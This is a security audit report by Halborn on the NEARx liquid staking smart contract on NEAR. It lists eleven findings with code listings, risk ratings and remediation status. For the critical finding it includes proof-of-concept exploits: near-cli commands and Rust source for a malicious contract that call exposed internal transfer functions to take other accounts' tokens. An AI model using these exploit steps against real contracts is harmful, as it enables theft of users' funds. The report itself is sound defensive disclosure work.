StaderLabs - NEARx Staking

NEAR Smart Contract Security Audit

Prepared by: **Halborn**

Date of Engagement: **June 23rd, 2022 - July 7th, 2022**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	06/27/2022	Michal Bajor
0.2	Document Edits	07/02/2022	Michal Bajor
0.3	Document Edits	07/05/2022	Mustafa Hasan
0.4	Draft Review	07/08/2022	Timur Guvenkaya
0.5	Draft Review	07/08/2022	Gabi Urrutia
0.6	Document Edits	07/14/2022	Michal Bajor
0.7	Draft Review	07/14/2022	Gabi Urrutia
1.0	Remediation Plan	07/17/2022	Michal Bajor
1.1	Remediation Plan Review	07/18/2022	Timur Guvenkaya
1.2	Remediation Plan Review	07/18/2022	Gabi Urrutia
1.3	Remediation Plan Edits	07/18/2022	Michal Bajor
1.4	Remediation Plan Review	07/18/2022	Gabi Urrutia
1.5	Document Edits	07/19/2022	Michal Bajor
1.6	Final Review	07/19/2022	Gabi Urrutia
1.7	Remediation Plan Edits	07/29/2022	Michal Bajor
1.8	Remediation Plan Review	07/29/2022	Timur Guvenkaya
1.9	Remediation Plan Review	07/29/2022	Gabi Urrutia
2.0	Documents Edits	08/02/2022	Michal Bajor
2.1	Remediation Plan Review	08/02/2022	Timur Guvenkaya
2.2	Remediation Plan Review	08/02/2022	Gabi Urrutia

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Timur Guvenkaya	Halborn	Timur.Guvenkaya@halborn.com
Michal Bajor	Halborn	Michal.Bajor@halborn.com
Mustafa Hasan	Halborn	Mustafa.Hasan@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

StaderLabs engaged Halborn to conduct a security audit on their smart contracts beginning on June 23rd, 2022 and ending on July 7th, 2022 . The security assessment was scoped to the smart contracts provided to the Halborn team.

1.2 AUDIT SUMMARY

The team at Halborn was provided two weeks for the engagement and assigned a full-time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

In summary, Halborn identified some security risks that were mostly addressed by the StaderLabs team.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of the engagement. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into architecture and purpose
- Smart contracts manual code review and walkthrough
- Mapping out possible attack vectors
- On chain testing of core functions
- Finding security vulnerabilities through cargo_audit
- Finding usage of unsafe Rust within the project through cargo-geiger

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

5 - May cause devastating and unrecoverable impact or loss.
4 - May cause a significant level of impact or loss.
3 - May cause a partial impact or loss to many.
2 - May cause temporary impact or loss.
1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

EXECUTIVE OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL

10 - CRITICAL
9 - 8 - HIGH
7 - 6 - MEDIUM
5 - 4 - LOW
3 - 1 - VERY LOW AND INFORMATIONAL

1.4 SCOPE

NEARx contract from https://github.com/stader-labs/near-liquid-token commit IDs:

- a506a8b9ac965eb5741847b707147f9533c945d7
- f1bec52479792fd69a9ce2133a1c552e7b51ddc3
- d1cffa2c18fad7cbbaa7aa025e071c012d2d6b7f

2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
1	1	1	1	7

LIKELIHOOD

IMPACT

				(HAL-01)
			(HAL-02)	
	(HAL-04)			
(HAL-05) (HAL-06)			(HAL-03)	
(HAL-08) (HAL-09) (HAL-10) (HAL-11)	(HAL-07)			

EXECUTIVE OVERVIEW

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
TOKEN THEFT DUE TO PUBLICLY CALLABLE INTERNAL FUNCTIONS	Critical	SOLVED - 06/23/2022
INVALID OWNERSHIP TRANSFER MECHANISM	High	SOLVED - 07/06/2022
INCORRECT EVENT EMITTING LEADING TO REDUNDANT TRANSACTIONS	Medium	SOLVED - 06/24/2022
OWNER CAN CHANGE THE COMMISSION IN SHORT NOTICE	Low	SOLVED - 07/28/2022
PRIVILEGED ADDRESS TRANSFER WITHOUT RECIPIENT'S CONFIRMATION	Informational	SOLVED - 07/28/2022
COMPATIBILITY FUNCTIONS LEAD TO A LOSS OF FUNDS FOR USERS DUE TO GAS FEES	Informational	FUTURE RELEASE
USAGE OF VULNERABLE CRATES	Informational	ACKNOWLEDGED
PRESENCE OF NOT IMPLEMENTED FUNCTIONALITIES	Informational	SOLVED - 07/06/2022
UNNECESSARY STORAGE MODIFICATION	Informational	SOLVED - 07/06/2022
REDUNDANT STATE VALIDATION	Informational	SOLVED - 07/06/2022
VERIFICATION FUNCTIONS ARE NOT NECESSARILY MADE PUBLIC	Informational	SOLVED - 07/06/2022

FINDINGS & TECH DETAILS

3.1 (HAL-01) TOKEN THEFT DUE TO PUBLICLY CALLABLE INTERNAL FUNCTIONS - CRITICAL

Description:

Some internal functions were publicly callable. There were two scenarios associated with this finding.

First, via `internal_nearx_transfer`, which is responsible for transferring token balances between two accounts. However, it does not contain any input validation. An attacker can call this function by providing arbitrarily chosen account IDs as sender and receiver. Such a call will succeed if the sender has enough token balance.

Second, via `int_ft_resolve_transfer`, which is used as a callback after `ft_transfer_call` function. This function is responsible for refunding tokens not used in `ft_transfer_call`. An attacker can call `int_ft_resolve_transfer` in their callback (even from a different contract) with arbitrarily chosen account IDs provided as sender and receiver. Such a call will succeed and lead to token theft.

Code Location:

Listing 1: contracts/near-x/src/fungible_token/nearx_token.rs (Line 127)

```
127 pub fn internal_nearx_transfer(
128     &mut self,
129     sender_id: &AccountId,
130     receiver_id: &AccountId,
131     amount: u128,
132 ) {
133     assert!(amount > 0, "The amount should be a positive number");
134     let mut sender_acc = self.internal_get_account(sender_id);
135     let mut receiver_acc = self.internal_get_account(receiver_id);
136     assert!(
137         amount <= sender_acc.stake_shares,
138         "{} does not have enough NearX balance {}",
139         sender_id,
140         sender_acc.stake_shares
141     );
142
143     sender_acc.stake_shares -= amount;
144     receiver_acc.stake_shares += amount;
145
146     self.internal_update_account(sender_id, &sender_acc);
147     self.internal_update_account(receiver_id, &receiver_acc);
148 }
```

Listing 2: contracts/near-x/src/fungible_token/nearx_token.rs (Line 150)

```rust
pub fn int_ft_resolve_transfer(
    &mut self,
    sender_id: &AccountId,
    receiver_id: AccountId,
    amount: U128,
) -> (u128, u128) {
    let receiver_id = receiver_id;
    let amount: Balance = amount.into();

    // Get the unused amount from the `ft_on_transfer` call result.
    let unused_amount = match env::promise_result(0) {
        PromiseResult::NotReady => unreachable!(),
        PromiseResult::Successful(value) => {
            if let Ok(unused_amount) = near_sdk::serde_json::from_slice::<U128>(&value) {
                std::cmp::min(amount, unused_amount.0)
            } else {
                amount
            }
        }
        PromiseResult::Failed => amount,
    };

    if unused_amount > 0 {
        let mut receiver_acc = self.internal_get_account(&receiver_id);
        let receiver_balance = receiver_acc.stake_shares;
        if receiver_balance > 0 {
            let refund_amount = std::cmp::min(receiver_balance, unused_amount);
            receiver_acc.stake_shares -= refund_amount;
            self.internal_update_account(&receiver_id, &receiver_acc);

            let mut sender_acc = self.internal_get_account(sender_id);
            sender_acc.stake_shares += refund_amount;
            self.internal_update_account(sender_id, &sender_acc);

            log!(
                "Refund {} from {} to {}",
```

```
                refund_amount,
                receiver_id,
                sender_id
            );
            return (amount - refund_amount, 0);
        }
    }
    (amount, 0)
}
```

Proof Of Concept:

First scenario can be exploited using only near-cli as seen on the following example.

Listing 3

```
rm -rf neardev

NEARX_CONTRACT=$(near dev-deploy --wasmFile target/wasm32-unknown-unknown/release/near_x.wasm | sed -n '5,1p' | grep -o -E "dev-\d+-\d+")

near call $NEARX_CONTRACT new '{"owner_account_id": "owner.testnet", "operator_account_id": "owner.testnet", "treasury_account_id": "treasury.testnet"}' --accountId owner.testnet

near call $NEARX_CONTRACT add_validator '{"validator": "01node.pool.f863973.m0"}' --accountId owner.testnet

near call $NEARX_CONTRACT manager_deposit_and_stake --amount=1 --gas=300000000000000 --accountId owner.testnet

near call $NEARX_CONTRACT deposit_and_stake --accountId user.testnet --amount=1 --gas=300000000000000

near view $NEARX_CONTRACT ft_total_supply

near view $NEARX_CONTRACT ft_balance_of '{"account_id": "owner.testnet"}'

near view $NEARX_CONTRACT ft_balance_of '{"account_id": "user.testnet"}'

near call $NEARX_CONTRACT internal_nearx_transfer '{"sender_id": "owner.testnet", "receiver_id": "user.testnet", "amount": 1000000}' --accountId user.testnet

near view $NEARX_CONTRACT ft_balance_of '{"account_id": "owner.testnet"}'

near view $NEARX_CONTRACT ft_balance_of '{"account_id": "user.testnet"}'
echo $NEARX_CONTRACT
```

A malicious smart contract needs to be deployed to exploit the second scenario. An exemplary code of such contract is as follows.

Listing 4

```rust
use near_sdk::borsh::{self, BorshDeserialize, BorshSerialize};
use near_sdk::{env, ext_contract, near_bindgen, AccountId, Gas,
↳ Promise, PromiseOrValue};

pub const GAS_FOR_FT_TRANSFER: Gas = 30_000_000_000_000;
pub const GAS_FOR_EXPLOIT: Gas = 10_000_000_000_000;

#[ext_contract(ext_self)]
pub trait Callback {
    fn exploit(&self) -> PromiseOrValue<bool>;
}

pub trait Callback {
    fn exploit(&self) -> PromiseOrValue<bool>;
}

#[ext_contract]
pub trait OtherContract {
    fn int_ft_resolve_transfer(
        &mut self,
        sender_id: AccountId,
        receiver_id: AccountId,
        amount: near_sdk::json_types::U128,
    ) -> (u128, u128);
}

#[near_bindgen]
#[derive(Default, BorshSerialize, BorshDeserialize)]
pub struct CrossCaller {
    target_account_id: AccountId,
}

#[near_bindgen]
impl CrossCaller {
    #[init]
    pub fn new() -> Self {
        Self {
            target_account_id: AccountId::from("temp.temp"),
        }
    }
```

```rust

    pub fn set_target(&mut self, target_account_id: AccountId) {
        self.target_account_id = target_account_id;
    }

    pub fn call_ft_resolve_transfer(&mut self) -> Promise {
        ext_self::exploit(&env::current_account_id(), 0, GAS_FOR_EXPLOIT).then(
            other_contract::int_ft_resolve_transfer(
                "michalbajor.testnet".to_string(),
                "testaccount2.michalbajor.testnet".to_string(),
                near_sdk::json_types::U128::from(1000),
                &self.target_account_id,
                0,
                GAS_FOR_FT_TRANSFER,
            ),
        )
    }
}

#[near_bindgen]
impl Callback for CrossCaller {
    #[private]
    fn exploit(&self) -> PromiseOrValue<bool> {
        PromiseOrValue::Value(true)
    }
}
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

It is recommended to keep internal functions private. In this case, this requirement can be fulfilled by either removing pub keyword or by adding #[private] macro.

Remediation Plan:

SOLVED: The StaderLabs team solved this issue in commit 865095cdcd0d4a509d6ef5f4e9ce0e74596b8734

3.2 (HAL-02) INVALID OWNERSHIP TRANSFER MECHANISM - HIGH

Description:

The ownership transfer mechanism is using a 2-step process by first assigning temporary ownership that needs to be accepted by the new owner. This approach to the ownership transfer is in line with best practices. However, we have noticed that the second step in this process is not implemented properly. The `commit_owner` function does implement a verification mechanism that the `env::predecessor_account_id` is equal to the temporary owner and that whoever called this function holds a full-access key. However, this function does not do anything else, i.e., it does not update the ownership.

Code Location:

Listing 5: contracts/near-x/src/contract/public.rs (Lines 257-261)

```
253 #[payable]
254 pub fn commit_owner(&mut self) {
255     assert_one_yocto();
256 
257     if let Some(temp_owner) = self.temp_owner.clone() {
258         require!(
259             env::predecessor_account_id() == temp_owner,
260             ERROR_UNAUTHORIZED
261         )
262     } else {
263         panic!("{}", ERROR_TEMP_OWNER_NOT_SET);
264     }
265 }
```

Risk Level:

Likelihood - 4
Impact - 4

Recommendation:

It is recommended to implement the ownership transfer fully. The commit_owner function should update the owner of a contract to the new value.

Remediation Plan:

SOLVED: The StaderLabs team solved this issue in commit dd9edb029f2ed02655952970b2ffb98a1ce08b91

3.3 (HAL-03) INCORRECT EVENT EMITTING LEADING TO REDUNDANT TRANSACTIONS - MEDIUM

Description:

The on_stake_pool_withdraw_all callback function has transaction success and failure events switched between their respective conditional checks. Hence, if the promise was a success, a failure event is emitted and vice versa. This could result in users trying transactions that already succeeded more than once, as they will be getting error messages instead of success messages.

Code Location:

Listing 6: contracts/near-x/src/contract/operator.rs (Lines 340,345-349)

```rust
338 #[private]
339 pub fn on_stake_pool_withdraw_all(&mut self, validator_info: ValidatorInfo, amount: u128) {
340     if !is_promise_success() {
341         let mut validator_info = self.internal_get_validator(&validator_info.account_id);
342         validator_info.unstaked_amount += amount;
343         self.internal_update_validator(&validator_info.account_id, &validator_info);
344
345         Event::EpochWithdrawCallbackSuccess {
346             validator_id: validator_info.account_id,
347             amount: U128(amount),
348         }
349         .emit();
350     } else {
351         Event::EpochWithdrawCallbackFailed {
352             validator_id: validator_info.account_id,
353             amount: U128(amount),
354         }
355         .emit();
356     }
357 }
```

Risk Level:

Likelihood - 4
Impact - 2

Recommendation:

Replace the emitted events so that `Event::EpochWithdrawCallbackSuccess` is emitted in the `else` code block and `Event::EpochWithdrawCallbackFailed` in the `if` code block.

Remediation Plan:

SOLVED: The StaderLabs team solved this issue in commit 3fd415f775474bf1ade9aa455da1d6b76c9c6a16

3.4 (HAL-04) OWNER CAN CHANGE THE COMMISSION IN SHORT NOTICE - LOW

Description:

It was observed that the owner could update the rewards_fee value at any time, impacting the rewards immediately on the next epoch_autocompound_rewards call. The malicious scenario would be to keep the rewards_fee at zero, for the most part. A rewards fee equal to zero would attract users to stake tokens via the NEARx contract, increasing the overall rewards. Then, a malicious owner could update the rewards fee to a non-zero value followed by an immediate call to the epoch_autocompound_rewards function, which will mint tokens to the treasury account. After tokens are minted to the treasury account, an owner can change the fee back to zero to attract more users. It is worth noting that the epoch_autocompound_rewards function can be called only once per epoch, which does not eliminate the issue; however, it complicates any potential exploit attempts. Furthermore, changing the commission does not affect users' staked balance, only their rewards and even if rewards_fee would be altered, its value is capped and can only be set to a value no higher than 10%.

Code Location:

The code responsible for calculating the fee:

Listing 7: contracts/near-x/src/contract/operator.rs (Line 176)

```
#[private]
pub fn on_get_sp_staked_balance_for_rewards(
    &mut self,
    #[allow(unused_mut)] mut validator_info: ValidatorInfo,
    #[callback] total_staked_balance: U128,
) -> PromiseOrValue<bool> {
    validator_info.last_redeemed_rewards_epoch = env::epoch_height
 ↳ ();

    //new_total_balance has the new staked amount for this pool
```

```
    let new_total_balance = total_staked_balance.0;
    log!("total staked balance is {}", total_staked_balance.0);

    //compute rewards, as new balance minus old balance
    let rewards = new_total_balance.saturating_sub(validator_info.staked);

    log!(
        "validator account:{} old_balance:{} new_balance:{} rewards:{}",
        validator_info.account_id,
        validator_info.total_balance(),
        new_total_balance,
        rewards
    );

    self.internal_update_validator(&validator_info.account_id, &validator_info);

    if rewards > 0 {
        //updated accumulated_staked_rewards value for the contract
        self.accumulated_staked_rewards += rewards;
        //updated new "staked" value for this pool
        validator_info.staked = new_total_balance;

        let operator_fee = rewards * self.rewards_fee;
        log!(format!("operator_fee is {:?}", operator_fee));
        self.total_staked += rewards;
        let treasury_account_shares =
            self.num_shares_from_staked_amount_rounded_down(operator_fee);
        log!(format!("total_staked is {:?}", self.total_staked));
        log!(format!("total shares is {:?}", self.total_stake_shares));

        self.internal_update_validator(&validator_info.account_id, &validator_info);

        if treasury_account_shares > 0 {
            // Mint shares for the treasury account
            let treasury_account_id = self.treasury_account_id.clone();
```

```
            let mut treasury_account = self.internal_get_account(&treasury_account_id);
            treasury_account.stake_shares += treasury_account_shares;
            self.total_stake_shares += treasury_account_shares;
            self.internal_update_account(&treasury_account_id, &treasury_account);

            PromiseOrValue::Value(true)
        } else {
            PromiseOrValue::Value(false)
        }
    } else {
        PromiseOrValue::Value(false)
    }
}
```

The function allowing immediate fee increase:

Listing 8: contracts/near-x/src/contract/public.rs (Line 340)

```
337 pub fn set_reward_fee(&mut self, numerator: u32, denominator: u32)
    ↳ {
338     self.assert_owner_calling();
339     require!((numerator * 100 / denominator) <= 10); // less than
    ↳ or equal to 10%
340     self.rewards_fee = Fraction::new(numerator, denominator);
341 }
```

Risk Level:

Likelihood - 2
Impact - 3

Recommendation:

It is recommended to eliminate the possibility of a situation where the owner could immediately benefit from altering the rewards_fee value. A gracing period should be introduced, which would make the new rewards_fee value usable after a specific number of epochs passes.

Additionally, it is a best practice that every critical change to the contract configuration should be associated with the governance mechanism. Implementing a voting mechanism for the rewards_fee update process should also be considered.

Remediation Plan:

SOLVED: StaderLabs team has solved this issue in commit 8b8e22828854be51afb3025eafe1a02d72095ee9

3.5 (HAL-05) PRIVILEGED ADDRESS TRANSFER WITHOUT RECIPIENT'S CONFIRMATION - INFORMATIONAL

Description:

The operator and treasury roles can be transferred within a single transaction without confirmation from the new role holder. Suppose a mistake is made, and the role is transferred to the wrong account ID, in such a scenario the functionality of the contract might be irreversibly broken.

Code Location:

Listing 9: contracts/near-x/src/contract/public.rs (Lines 272,280)

```
267 #[payable]
268 pub fn set_operator_id(&mut self, new_operator_account_id:
    ↳ AccountId) {
269     assert_one_yocto();
270     self.assert_owner_calling();
271
272     self.operator_account_id = new_operator_account_id;
273 }
274
275 #[payable]
276 pub fn set_treasury_id(&mut self, new_treasury_account_id:
    ↳ AccountId) {
277     assert_one_yocto();
278     self.assert_owner_calling();
279
280     self.treasury_account_id = new_treasury_account_id;
281 }
```

Risk Level:

Likelihood - 1
Impact - 2

Recommendation:

It is recommended to implement a 2-step process for any role transfer if possible. Such functionality should be split into a setting and accepting functionality.

Remediation Plan:

SOLVED: StaderLabs team has solved this issue in commit 8b8e22828854be51afb3025eafe1a02d72095ee9

3.6 (HAL-06) COMPATIBILITY FUNCTIONS LEAD TO A LOSS OF FUNDS FOR USERS DUE TO GAS FEES - INFORMATIONAL

Description:

The NEARx contract implements storage-deposit handling function as stubs for compatibility reasons. Those functions do not affect the NEARx operation. However, the storage_deposit function causes users to lose funds. This function is returning the deposit that was sent to it; however, the user still needs to pay for the gas fees. The impact and likelihood of this finding has been reduced, as users will not be calling this function in regular contract operation.

Code Location:

Listing 10: contracts/near-x/src/contract/empty_storage_spec.rs

```
#[allow(unused_variables)]
#[payable]
pub fn storage_deposit(
    &mut self,
    account_id: Option<AccountId>,
    registration_only: Option<bool>,
) -> StorageBalance {
    if env::attached_deposit() > 0 {
        Promise::new(env::predecessor_account_id()).transfer(env::attached_deposit());
    }
    EMPTY_STORAGE_BALANCE
}
```

Recommendation:

It is recommended to add extensive comments explaining why functions are effectively not executing any meaningful code along with any other possible mechanisms that will discourage users from calling this function.

Remediation Plan:

PENDING: The StaderLabs team acknowledged the issue and assured Halborn that every possible disincentive will be implemented to discourage users from calling this function.

3.7 (HAL-07) USAGE OF VULNERABLE CRATES - INFORMATIONAL

Description:

It was observed that the project uses crates with known vulnerabilities.

Code Location:

ID	package	Short Description
RUSTSEC-2020-0071	time	Potential segfault in the time crate
RUSTSEC-2020-0036	failure	failure is officially deprecated/unmaintained

Risk Level:

Likelihood - 2
Impact - 1

Recommendation:

Even if those vulnerable crates cannot impact the underlying application, it is advised to be aware of them and attempt to update them to a no-vulnerable version. Furthermore, it is necessary to set up dependency monitoring to always be alerted when a new vulnerability is disclosed in one of the project's crates.

Remediation Plan:

ACKNOWLEDGED: The StaderLabs team acknowledged this finding.

3.8 (HAL-08) PRESENCE OF NOT IMPLEMENTED FUNCTIONALITIES - INFORMATIONAL

Description:

During the code review process, we have noticed that some functions do not have a body or are explicitly marked with unimplemented! macro. This allows a scenario where the user calls the function and encounters an unexpected error.

Code Location:

Listing 11: contracts/near-x/src/contract/public.rs (Lines 132,136)

```
132 pub fn ping(&mut self) {}
133
134 #[payable]
135 pub fn deposit(&mut self) {
136     unimplemented!();
137 }
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

It is recommended to implement every intended functionality so that users do not encounter unexpected errors or behavior.

Remediation Plan:

SOLVED: The StaderLabs team solved this issue in commit dd9edb029f2ed02655952970b2ffb98a1ce08b91

3.9 (HAL-09) UNNECESSARY STORAGE MODIFICATION - INFORMATIONAL

Description:

The epoch_autocompound_rewards function is getting a validator_info data from the storage. It performs a certain validation on this data and then updates the storage with the same (unchanged) data, which is unnecessary.

Code Location:

Listing 12: contracts/near-x/src/contract/operator.rs (Line 131)

```rust
pub fn epoch_autocompound_rewards(&mut self, validator: AccountId) {
    self.assert_epoch_autocompounding_not_paused();

    let min_gas = AUTOCOMPOUND_EPOCH
        + ON_STAKE_POOL_GET_ACCOUNT_STAKED_BALANCE
        + ON_STAKE_POOL_GET_ACCOUNT_STAKED_BALANCE_CB;
    require!(
        env::prepaid_gas() >= min_gas,
        format!("{}. require at least {:?}", ERROR_NOT_ENOUGH_GAS, min_gas)
    );

    let validator_info = self.internal_get_validator(&validator);

    require!(!validator_info.paused(), ERROR_VALIDATOR_IS_BUSY);

    let epoch_height = env::epoch_height();

    if validator_info.staked == 0 {
        return;
    }

    if validator_info.last_redeemed_rewards_epoch == epoch_height {
        return;
    }

```

```
    log!(
        "Fetching total balance from the staking pool {}",
        validator_info.account_id
    );

    self.internal_update_validator(&validator_info.account_id, &validator_info);

    ext_staking_pool::ext(validator_info.account_id.clone())
        .with_attached_deposit(NO_DEPOSIT)
        .with_static_gas(ON_STAKE_POOL_GET_ACCOUNT_STAKED_BALANCE)
        .get_account_staked_balance(env::current_account_id())
        .then(
            ext_staking_pool_callback::ext(env::current_account_id())
                .with_attached_deposit(NO_DEPOSIT)
                .with_static_gas(ON_STAKE_POOL_GET_ACCOUNT_STAKED_BALANCE_CB)
                .on_get_sp_staked_balance_for_rewards(validator_info),
        );
}
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

It is recommended to modify the contract's storage only if necessary to reduce the execution time and cost.

Remediation Plan:

SOLVED: The StaderLabs team solved this issue in commit dd9edb029f2ed02655952970b2ffb98a1ce08b91

3.10 (HAL-10) REDUNDANT STATE VALIDATION - INFORMATIONAL

Description:

The NEARx contract implements a storage initializing function called new. It is wrapped with init macro. This macro is responsible for ensuring that the storage state was not initialized and will panic otherwise. The new function implements a manual verification of whether a state exists via the ‘assert!‘‘ macro. This is a redundant code, which results in the function executing the same verification twice.

Code Location:

Listing 13: contracts/near-x/src/contract/public.rs (Lines 11,17)

```rust
#[init]
pub fn new(
    owner_account_id: AccountId,
    operator_account_id: AccountId,
    treasury_account_id: AccountId,
) -> Self {
    require!(!env::state_exists(),
    ↳ ERROR_CONTRACT_ALREADY_INITIALIZED);

    Self {
        owner_account_id,
        operator_account_id,
        accumulated_staked_rewards: 0,
        user_amount_to_stake_in_epoch: 0,
        user_amount_to_unstake_in_epoch: 0,
        reconciled_epoch_stake_amount: 0,
        reconciled_epoch_unstake_amount: 0,
        total_stake_shares: 0,
        accounts: UnorderedMap::new(ACCOUNTS_MAP.as_bytes()),
        min_deposit_amount: ONE_NEAR,
        validator_info_map: UnorderedMap::new(VALIDATOR_MAP.
    ↳ as_bytes()),
        total_staked: 0,
        rewards_fee: Fraction::new(0, 1),
```

```
            last_reconciliation_epoch: 0,
            temp_owner: None,
            operations_control: OperationControls {
                stake_paused: false,
                unstaked_paused: false,
                withdraw_paused: false,
                epoch_stake_paused: false,
                epoch_unstake_paused: false,
                epoch_withdraw_paused: false,
                epoch_autocompounding_paused: false,
                sync_validator_balance_paused: false,
            },
            treasury_account_id,
        }
}
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

It is recommended to delete redundant lines of code.

Remediation Plan:

SOLVED: The StaderLabs team solved this issue in commit dd9edb029f2ed02655952970b2ffb98a1ce08b91

3.11 (HAL-11) VERIFICATION FUNCTIONS ARE NOT NECESSARILY MADE PUBLIC - INFORMATIONAL

Description:

The NEARx contract implements a series of utility functions that are responsible for verifying certain aspects of execution, for example, who called the function. Those functions are intended to be used internally; however, they are marked with a pub keyword, which instructs the near_bindgen macro to make them callable on the blockchain.

Code Location:

Listing 14: contracts/near-x/src/contract/public.rs (Line 53)

```
53 pub fn assert_owner_calling(&self) {
54     require!(
55         env::predecessor_account_id() == self.owner_account_id,
56         errors::ERROR_UNAUTHORIZED
57     )
58 }
59 pub fn assert_operator_or_owner(&self) {
60     require!(
61         env::predecessor_account_id() == self.owner_account_id
62             || env::predecessor_account_id() == self.
   ↳ operator_account_id,
63         errors::ERROR_UNAUTHORIZED
64     );
65 }
66
67 pub fn assert_min_deposit_amount(&self, amount: u128) {
68     require!(amount >= self.min_deposit_amount, errors::
   ↳ ERROR_MIN_DEPOSIT);
69 }
70
71 pub fn assert_staking_not_paused(&self) {
72     require!(
73         !self.operations_control.stake_paused,
```

```
        errors::ERROR_STAKING_PAUSED
    );
}

pub fn assert_unstaking_not_paused(&self) {
    require!(
        !self.operations_control.unstaked_paused,
        errors::ERROR_UNSTAKING_PAUSED
    );
}

pub fn assert_withdraw_not_paused(&self) {
    require!(
        !self.operations_control.withdraw_paused,
        errors::ERROR_UNSTAKING_PAUSED
    );
}

pub fn assert_epoch_stake_not_paused(&self) {
    require!(
        !self.operations_control.epoch_stake_paused,
        errors::ERROR_EPOCH_STAKE_PAUSED
    );
}

pub fn assert_epoch_unstake_not_paused(&self) {
    require!(
        !self.operations_control.epoch_unstake_paused,
        errors::ERROR_EPOCH_UNSTAKE_PAUSED
    );
}

pub fn assert_epoch_withdraw_not_paused(&self) {
    require!(
        !self.operations_control.epoch_withdraw_paused,
        errors::ERROR_EPOCH_WITHDRAW_PAUSED
    );
}

pub fn assert_epoch_autocompounding_not_paused(&self) {
    require!(
        !self.operations_control.epoch_autocompounding_paused,
        errors::ERROR_EPOCH_AUTOCOMPOUNDING_PAUSED
    );
```

```
}

pub fn assert_sync_validator_balance_not_paused(&self) {
    require!(
        !self.operations_control.sync_validator_balance_paused,
        errors::ERROR_EPOCH_AUTOCOMPOUNDING_PAUSED
    );
}
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

It is recommended to not expose internal functions to the users, even if calling them does not impact the contract functionality in any way.

Remediation Plan:

SOLVED: The StaderLabs team solved this issue in commit dd9edb029f2ed02655952970b2ffb98a1ce08b91

AUTOMATED TESTING

AUTOMATED TESTING

4.1 AUTOMATED ANALYSIS

Description:

Halborn used automated security scanners to assist with the detection of well-known security issues and vulnerabilities. Among the tools used was cargo audit, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in https://crates.io are stored in a repository named The RustSec Advisory Database. cargo audit is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. All vulnerabilities shown here were already disclosed in the above report. However, to better assist the developers maintaining this code, the auditors are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.

Results:

ID	package	Short Description
RUSTSEC-2020-0071	time	Potential segfault in the time crate
RUSTSEC-2020-0036	failure	failure is officially deprecated/unmaintained

THANK YOU FOR CHOOSING

// HALBORN